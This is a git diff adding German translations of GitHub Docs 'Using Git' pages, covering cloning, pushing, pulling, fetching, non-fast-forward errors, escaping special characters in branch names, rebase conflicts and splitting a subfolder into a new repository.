+- Mit `git pull` wird die lokale Entwicklungslinie mit Updates aus ihrem Remotegegenstück aktualisiert. Entwickler*innen verwenden diesen Befehl, wenn ein anderes Teammitglied Commits für einen Branch in einem Remoterepository vorgenommen hat und sie diese Änderungen in ihrer lokalen Umgebung übernehmen möchten.
+
+- Mit `git push` wird das Remoterepository mit allen lokal für einen Branch vorgenommenen Commits aktualisiert.
+
+Weitere Informationen findest du im [vollständigen Referenzleitfaden zu Git-Befehlen](https://git-scm.com/docs).
+
+### Beispiel: Mitwirken an einem bestehenden Repository
+
+```bash
+# download a repository on {% data variables.product.product_name %} to our machine
+# Replace `owner/repo` with the owner and name of the repository to clone
+git clone https://github.com/owner/repo.git
+
+# change into the `repo` directory
+cd repo
+
+# create a new branch to store any new changes
+git branch my-branch
+
+# switch to that branch (line of development)
+git checkout my-branch
+
+# make changes, for example, edit `file1.md` and `file2.md` using the text editor
+
+# stage the changed files
+git add file1.md file2.md
+
+# take a snapshot of the staging area (anything that's been added)
+git commit -m "my snapshot"
+
+# push changes to github
+git push --set-upstream origin my-branch
+```
+
+### Beispiel: Erstellen eines neuen Repositorys und Veröffentlichen auf {% data variables.product.product_name %}
+
+Zunächst musst du ein neues Repository auf {% data variables.product.product_name %} erstellen. Weitere Informationen findest du unter [Hallo Welt](/get-started/quickstart/hello-world). Initialisiere das Repository **nicht** mit einer Infodatei, GITIGNORE-Datei oder Lizenzdatei. Dieses leere Repository wartet auf deinen Code.
+
+```bash
+# create a new directory, and initialize it with git-specific functions
+git init my-repo
+
+# change into the `my-repo` directory
+cd my-repo
+
+# create the first file in the project
+touch README.md
+
+# git isn't aware of the file, stage it
+git add README.md
+
+# take a snapshot of the staging area
+git commit -m "add README to initial commit"
+
+# provide the path for the repository you created on github
+git remote add origin https://github.com/YOUR-USERNAME/YOUR-REPOSITORY-NAME.git
+
+# push changes to github
+git push --set-upstream origin main
+```
+
+### Beispiel: Mitwirken an einem bestehenden Branch auf {% data variables.product.product_name %}
+
+In diesem Beispiel wird davon ausgegangen, dass du bereits über ein Projekt namens `repo` auf dem Computer verfügst und nach den letzten lokal vorgenommenen Änderungen eine neuer Branch an {% data variables.product.product_name %} gepusht wurde.
+
+```bash
+# change into the `repo` directory
+cd repo
+
+# update all remote tracking branches, and the currently checked out branch
+git pull
+
+# change into the existing branch called `feature-a`
+git checkout feature-a
+
+# make changes, for example, edit `file1.md` using the text editor
+
+# stage the changed file
+git add file1.md
+
+# take a snapshot of the staging area
+git commit -m "edit file1"
+
+# push changes to github
+git push
+```
+
+## Modelle für gemeinsames Entwickeln
+
+Es gibt zwei Hauptmöglichkeiten für die Zusammenarbeit von Personen auf {% data variables.product.product_name %}:
+
+1. Freigegebenes Repository
+2. Fork und Pull
+
+Bei einem freigegebenen Repository werden Einzelpersonen und Teams explizit als Mitwirkende mit Lese-, Schreib- oder Administratorzugriff angegeben. Diese einfache Berechtigungsstruktur, kombiniert mit Features wie geschützten Branches, hilft Teams dabei, schnell voranzukommen, wenn sie beginnen, {% data variables.product.product_name %} zu verwenden.
+
+Bei einem Open-Source-Projekt oder Projekten, an denen jede*r mitwirken kann, kann das Verwalten individueller Berechtigungen eine Herausforderung sein, mit einem Fork-und-Pull-Modell kann jedoch jede Person, die das Projekt anzeigen kann, auch daran mitwirken. Ein Fork ist eine Kopie eines Projekts im persönlichen Konto eines Entwicklers oder einer Entwicklerin. Jede*r Entwickler*in hat die vollständige Kontrolle über seinen bzw. ihren Fork und kann einen Fix oder ein neues Feature implementieren. In Forks abgeschlossene Arbeiten bleiben entweder getrennt oder werden über einen Pull Request in das ursprüngliche Projekt übernommen. Dort können Maintainer*innen die vorgeschlagenen Änderungen vor dem Mergen reviewen. Weitere Informationen findest du unter [Mitwirken an Projekten](/get-started/quickstart/contributing-to-projects).
+
+## Weiterführende Themen
+
+Das {% data variables.product.product_name %}-Team hat eine Bibliothek mit Lehrvideos und Leitfäden erstellt, um den Benutzer*innen dabei zu helfen, ihre Fähigkeiten weiter auszubauen und bessere Software zu entwickeln.
+
+- [Anfängerprojekte zum Erkunden](https://github.com/showcases/great-for-new-contributors)
+- [Videoanleitungen zu {% data variables.product.product_name %}](https://youtube.com/githubguides)
+
+Ausführliche Informationen zu Git-Praktiken findest du in den folgenden Videos, die zeigen, wie du einige Git-Befehle optimal nutzt.
+
+- [Lokales Arbeiten](https://www.youtube.com/watch?v=rBbbOouhI-s&index=2&list=PLg7s6cbtAD17Gw5u8644bgKhgRLiJXdX4)
+- [`git status`](https://www.youtube.com/watch?v=SxmveNrZb5k&list=PLg7s6cbtAD17Gw5u8644bgKhgRLiJXdX4&index=3)
+- [Zweistufige Commits](https://www.youtube.com/watch?v=Vb0Ghkkc2hk&index=4&list=PLg7s6cbtAD17Gw5u8644bgKhgRLiJXdX4)
+- [`git pull` und `git push`](https://www.youtube.com/watch?v=-uQHV9GOA0w&index=5&list=PLg7s6cbtAD17Gw5u8644bgKhgRLiJXdX4)
diff --git a/translations/de-DE/content/get-started/using-git/dealing-with-non-fast-forward-errors.md b/translations/de-DE/content/get-started/using-git/dealing-with-non-fast-forward-errors.md
new file mode 100644
index 0000000000..fdebf0b279
--- /dev/null
+++ b/translations/de-DE/content/get-started/using-git/dealing-with-non-fast-forward-errors.md
@@ -0,0 +1,48 @@
+---
+title: Non-Fast-Forward-Fehler handhaben
+intro: 'Manchmal kann Git deine Änderungen nicht für Remoterepositorys durchführen, ohne dass Commits verloren gehen. Wenn dieses Problem auftritt, wird dein Push abgelehnt.'
+redirect_from:
+  - /articles/dealing-with-non-fast-forward-errors
+  - /github/using-git/dealing-with-non-fast-forward-errors
+  - /github/getting-started-with-github/dealing-with-non-fast-forward-errors
+  - /github/getting-started-with-github/using-git/dealing-with-non-fast-forward-errors
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Non-fast-forward error
+ms.openlocfilehash: 59e1957bf2376462c1267527b1bc29ed9de49db9
+ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: '145125794'
+---
+Wenn ein anderer Benutzer einen Push zum selben Branch durchgeführt hat wie Du, kann Git deine Änderungen nicht überführen:
+
+```shell
+$ git push origin main
+> To https://{% data variables.command_line.codeblock %}/<em>USERNAME</em>/<em>REPOSITORY</em>.git
+>  ! [rejected]        main -> main (non-fast-forward)
+> error: failed to push some refs to 'https://{% data variables.command_line.codeblock %}/<em>USERNAME</em>/<em>REPOSITORY</em>.git'
+> To prevent you from losing history, non-fast-forward updates were rejected
+> Merge the remote changes (e.g. 'git pull') before pushing again.  See the
+> 'Note about fast-forwards' section of 'git push --help' for details.
+```
+
+Du kannst dieses Problem beheben, indem du die am Remotebranch vorgenommenen Änderungen [abrufst und mit den lokal durchgeführten Änderungen mergst](/github/getting-started-with-github/getting-changes-from-a-remote-repository):
+
+```shell
+$ git fetch origin
+# Fetches updates made to an online repository
+$ git merge origin <em>YOUR_BRANCH_NAME</em>
+# Merges updates made online with your local work
+```
+
+Du kannst auch einfach `git pull` verwenden, um beide Befehle gleichzeitig auszuführen:
+
+```shell
+$ git pull origin <em>YOUR_BRANCH_NAME</em>
+# Grabs online updates and merges them with your local work
+```
diff --git a/translations/de-DE/content/get-started/using-git/dealing-with-special-characters-in-branch-and-tag-names.md b/translations/de-DE/content/get-started/using-git/dealing-with-special-characters-in-branch-and-tag-names.md
new file mode 100644
index 0000000000..ba8f3033ce
--- /dev/null
+++ b/translations/de-DE/content/get-started/using-git/dealing-with-special-characters-in-branch-and-tag-names.md
@@ -0,0 +1,54 @@
+---
+title: Umgang mit Sonderzeichen in Branch- und Tagnamen
+intro: 'Git ist sehr freizügig, wenn es darum geht, welche Zeichen in Branch- und Tagnamen erlaubt sind. Wenn du Git über eine Befehlszeilenshell verwendest, musst du eventuell Sonderzeichen mit Escape- oder Anführungszeichen versehen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Special characters in names
+ms.openlocfilehash: e03b6ba963cef465f775620d353f14f0f5d92d36
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145104584'
+---
+## Informationen zu Branch- und Tagnamen
+
+Die meisten Repositorys verwenden einfache Branchnamen, z. B. `main` oder `update-icons`. Tagnamen folgen in der Regel ebenfalls einem einfachen Format, z. B. einer Versionsnummer wie `v1.2.3`. Sowohl Branchnamen als auch Tagnamen können auch das Pfadtrennzeichen (`/`) für die Struktur verwenden, z.  B. `area/item` oder `level-1/level-2/level-3`. Abgesehen von einigen Ausnahmen (z. B. kein Schrägstrich am Anfang oder Ende eines Namens oder aufeinanderfolgende Schrägstriche im Namen) gibt es bei Git sehr wenige Einschränkungen bei der Verwendung von Branch- und Tagnamen. Weitere Informationen findest du unter „[git-check-ref-format](https://git-scm.com/docs/git-check-ref-format)“ in der Git-Dokumentation.
+
+## Gründe für die Kennzeichnung von Sonderzeichen mit Escapezeichen
+
+Bei Verwendung einer CLI kann es vorkommen, dass ein Branch- oder Tagname Sonderzeichen enthält, die eine besondere Bedeutung für die Shellumgebung haben. Wenn du diese Zeichen sicher in einem Git-Befehl verwenden möchtest, musst du sie in Anführungs- oder Escapezeichen setzen. Andernfalls hat der Befehl möglicherweise eine unbeabsichtigte Wirkung.
+
+Beispielsweise wird das Zeichen `$` von vielen Shells verwendet, um auf eine Variable zu verweisen. Die meisten Shells würden einen gültigen Branchnamen wie `hello-$USER` als das Wort „Hallo“ gefolgt von einem Bindestrich gefolgt vom aktuellen Wert der `USER`-Variable interpretieren und nicht als die Literalzeichenfolge `hello-$USER`. Wenn ein Branchname das Zeichen `$` enthält, muss die Shell davon abgehalten werden, es als Variablenverweis zu erweitern. Genauso wird ein Semikolon (`;`) in einem Branchnamen von den meisten Shells als Befehlstrennzeichen interpretiert. Es muss also in Anführungs- oder Escapezeichen gesetzt werden.
+
+## Kennzeichnung von Sonderzeichen in Branch- und Tagnamen mit Escapezeichen
+
+Branch- und Tagnamen, die Sonderzeichen enthalten, können in den meisten Fällen in einfache Anführungszeichen gesetzt werden, z. B. `'hello-$USER'`.
+
+* In der [Bash](https://www.gnu.org/software/bash/)-Shell wird durch Einschließen einer Zeichenfolge in einfache Anführungszeichen der Literalwert der eingeschlossenen Zeichen beibehalten.
+* [Zsh](https://www.zsh.org/) verhält sich ähnlich wie Bash, doch ist dieses Verhalten über die Option `RC_QUOTES` konfigurierbar.
+* [PowerShell](https://microsoft.com/powershell) behandelt in einfache Anführungszeichen gesetzte Zeichen ebenfalls literal.
+
+Fälle, in denen der Branch- oder Tagname selbst ein einfaches Anführungszeichen enthält, bilden bei diesen Shells die wesentliche Ausnahme. In diesen Fällen solltest du die offizielle Dokumentation für die Shell zurate ziehen:
+
+* [Bash-Dokumentation](https://www.gnu.org/software/bash/manual/)
+* [Zsh-Dokumentation](https://zsh.sourceforge.io/Doc/)
+* [Fish-Dokumentation](https://fishshell.com/docs/current/)
+* [PowerShell-Dokumentation](https://docs.microsoft.com/en-gb/powershell/)
+
+## Benennen von Branches und Tags
+
+Erstelle nach Möglichkeit Branch- und Tagnamen, die keine Sonderzeichen enthalten, da diese in Escapezeichen gesetzt werden müssten. Der folgende Standardzeichensatz ist für Branch- und Tagnamen sicher:
+
+* Das englische Alphabet (`a` bis `z` und `A` bis `Z`)
+* Zahlen (`0` bis `9`)
+* Eine begrenzte Reihe von Interpunktionszeichen:
+  * Punkt (`.`)
+  * Bindestrich (`-`)
+  * Unterstrich (`_`)
+  * Schrägstrich (`/`)
+
+Um Verwirrung zu vermeiden, solltest du Branchnamen mit einem Buchstaben beginnen.
diff --git a/translations/de-DE/content/get-started/using-git/getting-changes-from-a-remote-repository.md b/translations/de-DE/content/get-started/using-git/getting-changes-from-a-remote-repository.md
new file mode 100644
index 0000000000..964ab25a98
--- /dev/null
+++ b/translations/de-DE/content/get-started/using-git/getting-changes-from-a-remote-repository.md
@@ -0,0 +1,87 @@
+---
+title: Änderungen von einem Remote-Repository abrufen
+intro: Für den Zugriff auf Remoterepositorys kannst du die gängigen Git-Befehle verwenden.
+redirect_from:
+  - /articles/fetching-a-remote
+  - /articles/getting-changes-from-a-remote-repository
+  - /github/using-git/getting-changes-from-a-remote-repository
+  - /github/getting-started-with-github/getting-changes-from-a-remote-repository
+  - /github/getting-started-with-github/using-git/getting-changes-from-a-remote-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Get changes from a remote
+ms.openlocfilehash: 11996b33ccedea8169f472feb1804f2eed5a5d9d
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145125793'
+---
+## Optionen zum Abrufen von Änderungen
+
+Diese Befehle sind bei der Interaktion mit einem [Remoterepository](/github/getting-started-with-github/about-remote-repositories) sehr hilfreich. `clone` und `fetch` laden Remotecode über die Remote-URL eines Repositorys auf deinen lokalen Computer herunter. `merge` wird verwendet, um die Arbeit verschiedener Personen mit deiner Arbeit zusammenzuführen, und `pull` ist eine Kombination aus `fetch` und `merge`.
+
+## Ein Repository klonen
+
+Verwende `git clone` wie folgt, um eine vollständige Kopie eines Repositorys eines anderen Benutzers zu erhalten:
+
+```shell
+$ git clone https://{% data variables.command_line.codeblock %}/<em>USERNAME</em>/<em>REPOSITORY</em>.git
+# Clones a repository to your computer
+```
+
+Du kannst beim Klonen eines Repositorys unter [verschiedenen URLs](/github/getting-started-with-github/about-remote-repositories) wählen. Wenn du bei {% data variables.product.prodname_dotcom %} angemeldet bist, findest du diese URLs unter den Repositorydetails:
+
+![Remote-URL-Liste](/assets/images/help/repository/remotes-url.png)
+
+Mit `git clone` werden die folgenden Aktionen ausgeführt:
+- Ein neuer Ordner mit dem Namen `repo` wird erstellt.
+- Er wird als Git-Repository initialisiert.
+- Ein Remoterepository mit dem Namen `origin` wird erstellt, und es verweist auf die URL, von der du den Klon erstellt hast.
+- Alle Dateien und Commits des Repository werden dorthin heruntergeladen.
+- Der Standardbranch ist ausgecheckt.
+
+Für jeden `foo`-Branch im Remoterepository wird in deinem lokalen Repository ein entsprechender Remote-Tracking-Branch namens `refs/remotes/origin/foo` erstellt. Normalerweise kannst du die Namen solcher Remote-Tracking-Branches in `origin/foo` verkürzen.
+
+## Änderungen von einem Remote-Repository mit <code>git fetch</code> abrufen
+
+Verwende `git fetch`, um neue Arbeiten anderer Benutzer abzurufen. Dabei werden alle neuen Remote-Tracking-Branches und Tags vom Repository abgerufen, *ohne* dass diese Änderungen mit deinen eigenen Branches zusammengeführt werden.
+
+Wenn du bereits ein lokales Repository mit einer Remote-URL für das gewünschte Projekt eingerichtet hast, kannst du alle neuen Informationen mit `git fetch *remotename*` über das Terminal abrufen:
+
+```shell
+$ git fetch <em>remotename</em>
+# Fetches updates made to a remote repository
+```
+
+Andernfalls kannst du jederzeit eine neue Remote-URL hinzufügen und dann den Abruf starten. Weitere Informationen findest du unter [Verwalten von Remoterepositorys](/github/getting-started-with-github/managing-remote-repositories).
+
+## Änderungen in deinen lokalen Branch zusammenführen
+
+Beim Zusammenführen (Merge) werden deine lokalen Änderungen mit den Änderungen anderer Benutzer zusammengeführt.
+
+In der Regel führst du einen Remote-Tracking-Branch (d. h. einen Branch, der aus einem Remote-Repository abgerufen wurde) mit deinem lokalen Branch zusammen:
+
+```shell
+$ git merge <em>remotename</em>/<em>branchname</em>
+# Merges updates made online with your local work
+```
+
+## Änderungen von einem Remote-Repository mit <code>git pull</code> abrufen
+
+`git pull` ist eine praktische, schnelle Lösung, um sowohl `git fetch` als auch `git merge ` im selben Befehl auszuführen:
+
+```shell
+$ git pull <em>remotename</em> <em>branchname</em>
+# Grabs online updates and merges them with your local work
+```
+
+Da `pull` die abgerufenen Änderungen zusammenführt, solltest du sicherstellen, dass deine lokalen Änderungen committed wurden, bevor du den Befehl `pull` ausführst. Wenn ein [Mergekonflikt](/github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line) auftritt, den du nicht auflösen kannst, oder wenn du den Merge abbrechen möchtest, kannst du den Branch mit `git merge --abort` in den Zustand vor dem Pull zurückversetzen.
+
+## Weiterführende Themen
+
+- [„Arbeiten mit Remoterepositorys“ aus dem _Pro Git_-Buch](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes){% ifversion fpt or ghec %}
+- [Beheben von Verbindungsproblemen](/articles/troubleshooting-connectivity-problems){% endif %}
diff --git a/translations/de-DE/content/get-started/using-git/index.md b/translations/de-DE/content/get-started/using-git/index.md
new file mode 100644
index 0000000000..d9ddbdbcf8
--- /dev/null
+++ b/translations/de-DE/content/get-started/using-git/index.md
@@ -0,0 +1,36 @@
+---
+title: Git verwenden
+intro: 'Mit Git kannst du deine {% data variables.product.product_name %}-Repositorys auf deinem Computer verwalten.'
+redirect_from:
+  - /articles/using-common-git-commands
+  - /github/using-git/using-common-git-commands
+  - /github/using-git/using-advanced-git-commands
+  - /categories/52/articles
+  - /categories/advanced-git
+  - /articles/using-advanced-git-commands
+  - /github/using-git/changing-author-info
+  - /github/getting-started-with-github/using-git
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /about-git
+  - /pushing-commits-to-a-remote-repository
+  - /getting-changes-from-a-remote-repository
+  - /dealing-with-non-fast-forward-errors
+  - /splitting-a-subfolder-out-into-a-new-repository
+  - /about-git-subtree-merges
+  - /about-git-rebase
+  - /using-git-rebase-on-the-command-line
+  - /resolving-merge-conflicts-after-a-git-rebase
+  - /dealing-with-special-characters-in-branch-and-tag-names
+ms.openlocfilehash: 806e5bb24731d651ed3fe416dc8f250aa2472710
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145104583'
+---
+
diff --git a/translations/de-DE/content/get-started/using-git/pushing-commits-to-a-remote-repository.md b/translations/de-DE/content/get-started/using-git/pushing-commits-to-a-remote-repository.md
new file mode 100644
index 0000000000..2d9f1c108e
--- /dev/null
+++ b/translations/de-DE/content/get-started/using-git/pushing-commits-to-a-remote-repository.md
@@ -0,0 +1,113 @@
+---
+title: Commits per Push-Vorgang an ein Remote-Repository übertragen
+intro: Mit `git push` kannst du Commits aus deinem lokalen Branch an ein Remoterepository pushen.
+redirect_from:
+  - /articles/pushing-to-a-remote
+  - /articles/pushing-commits-to-a-remote-repository
+  - /github/using-git/pushing-commits-to-a-remote-repository
+  - /github/getting-started-with-github/pushing-commits-to-a-remote-repository
+  - /github/getting-started-with-github/using-git/pushing-commits-to-a-remote-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Push commits to a remote
+ms.openlocfilehash: 61a3eb3e0b0147810b561b59b58879688dd4ba36
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145125786'
+---
+## Informationen zum `git push`
+Der Befehl `git push` akzeptiert zwei Argumente:
+
+* Einen Remotenamen (beispielsweise `origin`)
+* Einen Branchnamen (z. B. `main`)
+
+Beispiel:
+
+```shell
+git push <em> &lt;REMOTENAME> &lt;BRANCHNAME> </em>
+```
+
+Als Beispiel führst du in der Regel `git push origin main` aus, um deine lokalen Änderungen an dein Onlinerepository zu pushen.
+
+## Branches umbenennen
+
+Um einen Branch umzubenennen, verwendest du den gleichen Befehl `git push`, fügst aber in diesem Fall ein weiteres Argument hinzu: den Namen des neuen Branches. Beispiel:
+
+```shell
+git push <em> &lt;REMOTENAME> &lt;LOCALBRANCHNAME></em>:<em>&lt;REMOTEBRANCHNAME> </em>
+```
+
+Dadurch wird der `LOCALBRANCHNAME` an deinen `REMOTENAME` gepusht, aber in `REMOTEBRANCHNAME` umbenannt.
+
+## „Non-Fast-Forward“-Fehler handhaben
+
+Wenn deine lokale Kopie eines Repositorys mit dem Upstreamrepository, an das du überträgst, nicht synchronisiert ist oder älter als dieses ist, erhältst du die Meldung `non-fast-forward updates were rejected`.
+Das bedeutet, dass du die Änderungen im Upstreamrepository abrufen (fetchen) musst, bevor du deine lokalen Änderungen pushen kannst.
+
+Weitere Informationen zu diesem Fehler findest du unter [Behandeln von Non-Fast-Forward-Fehlern](/github/getting-started-with-github/dealing-with-non-fast-forward-errors).
+
+## Tags pushen
+
+Standardmäßig und ohne zusätzliche Parameter sendet `git push` alle übereinstimmenden Branches, die den gleichen Namen wie Remotebranches haben.
+
+Um ein einzelnes Tag zu übertragen, kannst du den gleichen Befehl wie beim Push eines Branches ausführen:
+
+```shell
+git push <em> &lt;REMOTENAME> &lt;TAGNAME> </em>
+```
+
+Zum Pushen aller deiner Tags kannst du folgenden Befehl eingeben:
+
+```shell
+git push <em> &lt;REMOTENAME></em> --tags
+```
+
+## Einen Remote-Branch oder ein Tag löschen
+
+Die Syntax zum Löschen eines Branches ist auf den ersten Blick etwas irreführend:
+
+```shell
+git push <em> &lt;REMOTENAME></em> :<em>&lt;BRANCHNAME> </em>
+```
+
+Beachte, dass vor dem Doppelpunkt ein Leerzeichen steht. Der Befehl ähnelt den Schritten, die du beim Umbenennen eines Branches ausführst. Hier weist du Git jedoch an, _nichts_ in `BRANCHNAME` auf `REMOTENAME` zu pushen. Aus diesem Grund löscht `git push` den Branch im Remoterepository.
+
+## Remotes und Forks
+
+Möglicherweise weißt du bereits, dass es auf GitHub möglich ist, [Repositorys zu forken](https://guides.github.com/overviews/forking/).
+
+Wenn du ein eigenes Repository klonst, gibst du dafür eine Remote-URL an, die Git mitteilt, wo Updates gefetcht und gepusht werden sollen. Wenn du mit dem ursprünglichen Repository zusammenarbeiten möchtest, fügst du deinem lokalen Git-Klon eine neue Remote-URL hinzu, die normalerweise mit `upstream` bezeichnet wird:
+
+```shell
+git remote add upstream <em> &lt;THEIR_REMOTE_URL> </em>
+```
+
+Nun kannst du Updates und Branches aus *ihrem* Fork fetchen:
+
+```shell
+git fetch upstream
+# Grab the upstream remote's branches
+> remote: Counting objects: 75, done.
+> remote: Compressing objects: 100% (53/53), done.
+> remote: Total 62 (delta 27), reused 44 (delta 9)
+> Unpacking objects: 100% (62/62), done.
+> From https://{% data variables.command_line.codeblock %}/<em>octocat</em>/<em>repo</em>
+>  * [new branch]      main     -> upstream/main
+```
+
+Wenn du mit den lokalen Änderungen fertig bist, kannst du deinen lokalen Branch an GitHub pushen und [einen Pull Request initiieren](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests).
+
+Weitere Informationen zum Arbeiten mit Forks findest du unter [Synchronisieren eines Forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork).
+
+## Weitere Informationsquellen
+
+- [Kapitel „Remotes“ im Buch „Pro Git“](https://git-scm.com/book/ch5-2.html)
+- [Hauptseite zu `git remote`](https://git-scm.com/docs/git-remote.html)
+- [Git-Spickzettel](/articles/git-cheatsheet)
+- [Git-Workflows](/github/getting-started-with-github/git-workflows)
+- [Git-Handbuch](https://guides.github.com/introduction/git-handbook/)
diff --git a/translations/de-DE/content/get-started/using-git/resolving-merge-conflicts-after-a-git-rebase.md b/translations/de-DE/content/get-started/using-git/resolving-merge-conflicts-after-a-git-rebase.md
new file mode 100644
index 0000000000..d3e67e4fef
--- /dev/null
+++ b/translations/de-DE/content/get-started/using-git/resolving-merge-conflicts-after-a-git-rebase.md
@@ -0,0 +1,39 @@
+---
+title: Mergekonflikte nach einem „git rebase“ beheben
+intro: 'Mit einem `git rebase`-Vorgang verschiebst du in der Regel Commits. Dabei können Mergekonflikte entstehen. Das bedeutet, dass zwei deiner Commits dieselbe Zeile in derselben Datei geändert haben und Git nicht weiß, welche Änderung übernommen werden soll.'
+redirect_from:
+  - /articles/resolving-merge-conflicts-after-a-git-rebase
+  - /github/using-git/resolving-merge-conflicts-after-a-git-rebase
+  - /github/getting-started-with-github/resolving-merge-conflicts-after-a-git-rebase
+  - /github/getting-started-with-github/using-git/resolving-merge-conflicts-after-a-git-rebase
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Resolve conflicts after rebase
+ms.openlocfilehash: 8798282fb804f7b2389d98f69ba2b0e855a2289a
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145104580'
+---
+Wenn durch die Neuanordnung und Bearbeitung der Commits durch `git rebase` ein Mergekonflikt entsteht, gibt Git die folgende Meldung im Terminal aus:
+
+```shell
+error: could not apply fa39187... something to add to patch A
+
+When you have resolved this problem, run "git rebase --continue".
+If you prefer to skip this patch, run "git rebase --skip" instead.
+To check out the original branch and stop rebasing, run "git rebase --abort".
+Could not apply fa39187f3c3dfd2ab5faa38ac01cf3de7ce2e841... Change fake file
+```
+
+Git teilt Dir hier also mit, welcher Commit den Konflikt verursacht (`fa39187`). Außerdem werden drei Lösungsmöglichkeiten angeboten:
+
+* Du kannst `git rebase --abort` ausführen, um das Rebase vollständig rückgängig zu machen. Dadurch wird der Branch in den Zustand zurückversetzt, den er vor dem Aufruf von `git rebase` hatte.
+* Du kannst `git rebase --skip` ausführen, um den Commit vollständig zu überspringen. In diesem Fall wird keine der Änderungen, die durch den Commit durchgeführt werden sollen, übernommen. Für diese Option wirst du Dich vermutlich nur selten entscheiden.
+* Du kannst den Konflikt beheben.
+
+Um den Konflikt zu beheben, kannst du die [Standardprozeduren zum Beheben von Mergekonflikten über die Befehlszeile](/github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line) befolgen. Nach der Behebung des Konflikts musst du `git rebase --continue` aufrufen, damit Git das Rebase fortsetzt.
diff --git a/translations/de-DE/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md b/translations/de-DE/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md
new file mode 100644
index 0000000000..672cc12698
--- /dev/null
+++ b/translations/de-DE/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md
@@ -0,0 +1,90 @@
+---
+title: Splitting a subfolder out into a new repository
+redirect_from:
+  - /articles/splitting-a-subpath-out-into-a-new-repository
+  - /articles/splitting-a-subfolder-out-into-a-new-repository
+  - /github/using-git/splitting-a-subfolder-out-into-a-new-repository
+  - /github/getting-started-with-github/splitting-a-subfolder-out-into-a-new-repository
+  - /github/getting-started-with-github/using-git/splitting-a-subfolder-out-into-a-new-repository
+intro: You can turn a folder within a Git repository into a brand new repository.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Splitting a subfolder
+---
+If you create a new clone of the repository, you won't lose any of your Git history or changes when you split a folder into a separate repository.
+
+{% data reusables.command_line.open_the_multi_os_terminal %}
+
+2. Change the current working directory to the location where you want to create your new repository.
+
+4. Clone the repository that contains the subfolder.
+   ```shell
+   $ git clone https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY-NAME
+   ```
+
+4. Change the current working directory to your cloned repository.
+   ```shell
+   $ cd REPOSITORY-NAME
+   ```
+
+5. To filter out the subfolder from the rest of the files in the repository, run [`git filter-repo`](https://github.com/newren/git-filter-repo), supplying this information:
+   - `FOLDER-NAME`: The folder within your project where you'd like to create a separate repository.
+
+   {% windows %}
+
+   {% tip %}
+
+   **Tip:** Windows users should use `/` to delimit folders.
+
+   {% endtip %}
+
+   {% endwindows %}
+  
+   ```shell
+   $ git filter-repo --path FOLDER-NAME1/ --path FOLDER-NAME2/
+   # Filter the specified branch in your directory and remove empty commits
+   > Rewrite 48dc599c80e20527ed902928085e7861e6b3cbe6 (89/89)
+   > Ref 'refs/heads/BRANCH-NAME' was rewritten
+   ```
+   
+   The repository should now only contain the files that were in your subfolder(s).
+
+6. [Create a new repository](/articles/creating-a-new-repository/) on {% data variables.product.product_name %}.
+
+7. At the top of your new repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL.
+	
+   ![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png)
+
+   {% tip %}
+
+   **Tip:** For information on the difference between HTTPS and SSH URLs, see "[About remote repositories](/github/getting-started-with-github/about-remote-repositories)."
+
+   {% endtip %}
+
+8. Check the existing remote name for your repository. For example, `origin` or `upstream` are two common choices.
+   ```shell
+   $ git remote -v
+   > origin  https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY-NAME.git (fetch)
+   > origin  https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY-NAME.git (push)
+   ```
+
+9. Set up a new remote URL for your new repository using the existing remote name and the remote repository URL you copied in step 7.
+   ```shell
+   git remote set-url origin https://{% data variables.command_line.codeblock %}/USERNAME/NEW-REPOSITORY-NAME.git
+   ```
+
+10. Verify that the remote URL has changed with your new repository name.
+    ```shell
+    $ git remote -v
+    # Verify new remote URL
+    > origin  https://{% data variables.command_line.codeblock %}/USERNAME/NEW-REPOSITORY-NAME.git (fetch)
+    > origin  https://{% data variables.command_line.codeblock %}/USERNAME/NEW-REPOSITORY-NAME.git (push)
+    ```
